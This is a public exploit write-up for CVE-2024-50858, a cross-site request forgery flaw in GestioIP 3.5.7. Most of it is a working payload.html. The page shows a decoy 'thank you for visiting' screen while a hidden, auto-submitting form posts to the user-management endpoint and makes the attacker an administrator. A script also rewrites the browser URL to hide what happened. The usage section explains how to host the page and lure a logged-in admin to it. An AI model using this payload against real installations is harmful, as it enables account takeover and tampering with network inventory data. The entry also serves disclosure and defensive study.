# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Cross-Site Request Forgery (CSRF)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email : max.cybersecurity at belino.com
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50858
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50858

### Description

The GestioIP application has many endpoints and they are vulnerable to CSRF. This allows an attacker to execute actions through the admin's browser on the application if the admin visits a malicious URL hosted by the attacker. These actions can modify, delete, or exfiltrate data from the application.

### Prerequisites

The option "Manage - Manage GestioIP - User Management" must be enabled previously.


### Usage

To exploit this vulnerability, an attacker must host ```payload.html``` on an attacker-controlled web server (python3 -m http.server 8090). When an authenticated administrator goes to the attacker's website, the CSRF will execute making the attacker an administrator.


### File: payload.html
#### example: editing user named 'maxi'


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome to our site</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
}
.container {
margin-top: 50px;
}
iframe {
display: none;
}
</style>
</head>
<body>
<div class="container">
<h1>Thank you for visiting our site!</h1>
<p>We are processing your request, please wait a moment...</p>
<img src="https://placehold.co/150?text=Processing" alt="Processing...">
</div>
<!-- hidden iframe -->

<iframe name="hiddenFrame"></iframe>

<!-- The form that makes the POST to GestioIP Server -->
<form action="[http://localhost/gestioip/res/ip_mod_user.cgi](http://localhost/gestioip/res/ip_mod_user.cgi)" method="POST" target="hiddenFrame">
<input type="hidden" name="name" value="maxi">
<input type="hidden" name="group_id" value="1">
<input type="hidden" name="email" value="maxi@test.com">
<input type="hidden" name="phone" value="123">
<input type="hidden" name="comment" value="">
<input type="hidden" name="client_id" value="1">
<input type="hidden" name="id" value="2">
<input type="hidden" name="B2" value="">
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>